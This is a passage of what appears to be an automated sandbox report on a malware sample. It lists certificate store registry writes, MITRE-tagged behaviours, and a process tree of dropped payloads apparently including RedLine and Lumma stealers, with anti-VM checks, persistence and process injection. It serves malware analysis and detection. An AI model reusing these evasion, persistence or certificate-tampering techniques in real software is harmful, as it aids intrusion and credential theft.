0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	roxonk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	roxonk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	roxonk.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 30 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1356	schtasks.exe
4460	schtasks.exe
1320	schtasks.exe
3076	schtasks.exe
4592	schtasks.exe
2148	schtasks.exe
2768	schtasks.exe
3568	schtasks.exe
2276	schtasks.exe
940	schtasks.exe
4588	schtasks.exe
3980	schtasks.exe
808	schtasks.exe
2040	schtasks.exe
3056	schtasks.exe
2588	schtasks.exe
3884	schtasks.exe
4708	schtasks.exe
4796	schtasks.exe
1816	schtasks.exe
4832	schtasks.exe
3624	schtasks.exe
4144	schtasks.exe
2136	schtasks.exe
4444	schtasks.exe
3856	schtasks.exe
4604	schtasks.exe
3852	schtasks.exe
3724	schtasks.exe
3756	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.exeexplortu.execa01aa0bc0.exeaxplong.exebfbff0d2bf.exe7ead6cc984.exechrome.exeredline123123.exepowershell.exepowershell.exepowershell.exepowershell.exeFirstZ.exepowershell.exereakuqnanrkn.exepowershell.exe

pid	process
2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
2676	explortu.exe
2780	explortu.exe
772	ca01aa0bc0.exe
588	axplong.exe
1556	bfbff0d2bf.exe
1520	7ead6cc984.exe
2896	chrome.exe
2896	chrome.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
552	redline123123.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
3824	powershell.exe
3252	powershell.exe
3252	powershell.exe
3252	powershell.exe
2152	powershell.exe
2912	FirstZ.exe
4120	powershell.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
2912	FirstZ.exe
4592	reakuqnanrkn.exe
4600	powershell.exe
4592	reakuqnanrkn.exe
4592	reakuqnanrkn.exe
4592	reakuqnanrkn.exe
4592	reakuqnanrkn.exe
4592	reakuqnanrkn.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exeredline123123.exedrivermanager.exeda_protected.exepowershell.exepowershell.exeWMIC.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeShutdownPrivilege	2896	chrome.exe
Token: SeDebugPrivilege	552	redline123123.exe
Token: SeDebugPrivilege	3976	drivermanager.exe
Token: SeDebugPrivilege	3396	da_protected.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeIncreaseQuotaPrivilege	4052	WMIC.exe
Token: SeSecurityPrivilege	4052	WMIC.exe
Token: SeTakeOwnershipPrivilege	4052	WMIC.exe
Token: SeLoadDriverPrivilege	4052	WMIC.exe
Token: SeSystemProfilePrivilege	4052	WMIC.exe
Token: SeSystemtimePrivilege	4052	WMIC.exe
Token: SeProfSingleProcessPrivilege	4052	WMIC.exe
Token: SeIncBasePriorityPrivilege	4052	WMIC.exe
Token: SeCreatePagefilePrivilege	4052	WMIC.exe
Token: SeBackupPrivilege	4052	WMIC.exe
Token: SeRestorePrivilege	4052	WMIC.exe
Token: SeShutdownPrivilege	4052	WMIC.exe
Token: SeDebugPrivilege	4052	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4052	WMIC.exe
Token: SeRemoteShutdownPrivilege	4052	WMIC.exe
Token: SeUndockPrivilege	4052	WMIC.exe
Token: SeManageVolumePrivilege	4052	WMIC.exe
Token: 33	4052	WMIC.exe
Token: 34	4052	WMIC.exe
Token: 35	4052	WMIC.exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeIncreaseQuotaPrivilege	3872	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.execa01aa0bc0.exe7ead6cc984.exechrome.exe

pid	process
2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
772	ca01aa0bc0.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
2896	chrome.exe
2896	chrome.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe

Suspicious use of SendNotifyMessage 58 IoCs

Processes:

7ead6cc984.exechrome.exe

pid	process
1520	7ead6cc984.exe
1520	7ead6cc984.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
2896	chrome.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe
1520	7ead6cc984.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exeexplortu.execa01aa0bc0.exe7ead6cc984.exechrome.exe

description	pid	process	target process
PID 2324 wrote to memory of 2676	2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe	explortu.exe
PID 2324 wrote to memory of 2676	2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe	explortu.exe
PID 2324 wrote to memory of 2676	2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe	explortu.exe
PID 2324 wrote to memory of 2676	2324	15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 2780	2676	explortu.exe	explortu.exe
PID 2676 wrote to memory of 772	2676	explortu.exe	ca01aa0bc0.exe
PID 2676 wrote to memory of 772	2676	explortu.exe	ca01aa0bc0.exe
PID 2676 wrote to memory of 772	2676	explortu.exe	ca01aa0bc0.exe
PID 2676 wrote to memory of 772	2676	explortu.exe	ca01aa0bc0.exe
PID 772 wrote to memory of 588	772	ca01aa0bc0.exe	axplong.exe
PID 772 wrote to memory of 588	772	ca01aa0bc0.exe	axplong.exe
PID 772 wrote to memory of 588	772	ca01aa0bc0.exe	axplong.exe
PID 772 wrote to memory of 588	772	ca01aa0bc0.exe	axplong.exe
PID 2676 wrote to memory of 1556	2676	explortu.exe	bfbff0d2bf.exe
PID 2676 wrote to memory of 1556	2676	explortu.exe	bfbff0d2bf.exe
PID 2676 wrote to memory of 1556	2676	explortu.exe	bfbff0d2bf.exe
PID 2676 wrote to memory of 1556	2676	explortu.exe	bfbff0d2bf.exe
PID 2676 wrote to memory of 1520	2676	explortu.exe	7ead6cc984.exe
PID 2676 wrote to memory of 1520	2676	explortu.exe	7ead6cc984.exe
PID 2676 wrote to memory of 1520	2676	explortu.exe	7ead6cc984.exe
PID 2676 wrote to memory of 1520	2676	explortu.exe	7ead6cc984.exe
PID 1520 wrote to memory of 2896	1520	7ead6cc984.exe	chrome.exe
PID 1520 wrote to memory of 2896	1520	7ead6cc984.exe	chrome.exe
PID 1520 wrote to memory of 2896	1520	7ead6cc984.exe	chrome.exe
PID 1520 wrote to memory of 2896	1520	7ead6cc984.exe	chrome.exe
PID 2896 wrote to memory of 3028	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 3028	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 3028	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe
PID 2896 wrote to memory of 2828	2896	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe
"C:\Users\Admin\AppData\Local\Temp\15d62d0a547389642716e2c0dc6d5cc0a7088cb1fdc7a3efec4bb2e95d1f58fd.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2324

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2676

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2780

C:\Users\Admin\1000015002\ca01aa0bc0.exe
"C:\Users\Admin\1000015002\ca01aa0bc0.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:772

C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:588

C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1496

C:\Users\Admin\AppData\Local\Temp\onefile_1496_133633965668456000\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2844

C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe
"C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:552

C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe
"C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"
5⤵
- Executes dropped EXE
PID:540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 540 -s 52
6⤵
- Loads dropped DLL
- Program crash
PID:3100

C:\Users\Admin\AppData\Local\Temp\1000025001\deep.exe
"C:\Users\Admin\AppData\Local\Temp\1000025001\deep.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3292

C:\Users\Admin\AppData\Local\Temp\da_protected.exe
"C:\Users\Admin\AppData\Local\Temp\da_protected.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:3396

C:\Users\Admin\AppData\Local\Temp\roxonk.exe
"C:\Users\Admin\AppData\Local\Temp\roxonk.exe"
7⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3276

C:\Users\Admin\AppData\Local\Temp\setup.exe
setup.exe
8⤵
- Executes dropped EXE
PID:384

C:\Users\Admin\AppData\Local\Temp\setup-dbec9a323eef8914\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup-dbec9a323eef8914\setup.exe"
9⤵
- Executes dropped EXE
PID:2620

C:\Users\Admin\AppData\Local\Temp\setup.exe
setup.exe
8⤵
- Executes dropped EXE
PID:4588

C:\Users\Admin\AppData\Local\Temp\setup-6de91ff357696038\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup-6de91ff357696038\setup.exe"
9⤵
- Executes dropped EXE
PID:2928

C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"
5⤵
- Executes dropped EXE
PID:3532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3532 -s 84
6⤵
- Loads dropped DLL
- Program crash
PID:3572

C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe
"C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"
5⤵
- Executes dropped EXE
PID:3680

C:\Users\Admin\AppData\Local\Temp\1000063001\drivermanager.exe
"C:\Users\Admin\AppData\Local\Temp\1000063001\drivermanager.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3976

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:3244

C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
"C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:3372

C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
"C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:3416

C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1644

C:\Users\Admin\AppData\Local\Temp\7zSD93F.tmp\Install.exe
.\Install.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3224

C:\Users\Admin\AppData\Local\Temp\7zSDAF4.tmp\Install.exe
.\Install.exe /wdidg "385119" /S
9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
PID:684

C:\Windows\SysWOW64\cmd.exe
